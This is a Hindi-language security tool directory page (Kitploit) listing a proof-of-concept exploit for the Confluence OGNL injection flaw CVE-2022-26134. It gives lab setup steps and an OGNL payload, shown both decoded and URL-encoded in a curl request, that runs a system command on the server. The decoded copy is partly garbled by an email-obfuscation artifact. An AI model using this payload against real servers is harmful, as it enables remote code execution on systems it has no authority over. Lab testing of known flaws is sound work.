Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/coldfusionx/cve-2022-26134
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubcoldfusionx/cve-2022-26134

CVE-2022-26134

Atlassian Confluence OGNL इंजेक्शन रिमोट कोड निष्पादन (RCE) भेद्यता (CVE-2022-26134)

रिपॉजिटरी देखें
224 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

POC - एटलासियन कॉन्फ्लुएंस OGNL इंजेक्शन रिमोट कोड एक्जीक्यूशन (RCE) भेद्यता (CVE-2022-26134)

कॉन्फ्लुएंस संस्करण 7.13.6 पर परीक्षण किया गया

वातावरण सेट अप करना

  • रिपॉजिटरी क्लोन करें
root@kitploit:~
docker-compose up -d 
  • http://localhost:8090 पर आप कॉन्फ्लुएंस को चालू और चलता हुआ देखेंगे।

  • इसके बाद, कॉन्फ्लुएंस के लिए एक मूल्यांकन लाइसेंस प्राप्त करें और डेटाबेस को डेटाबेस नाम confluence, उपयोगकर्ता नाम postgres और पासवर्ड root के साथ सेटअप करें।

शोषण

  • डीकोडेड पेलोड
root@kitploit:~
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
  • कर्ल अनुरोध
root@kitploit:~
curl -v "http://localhost:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%
  • POC पीओसी
टूल डाउनलोड करें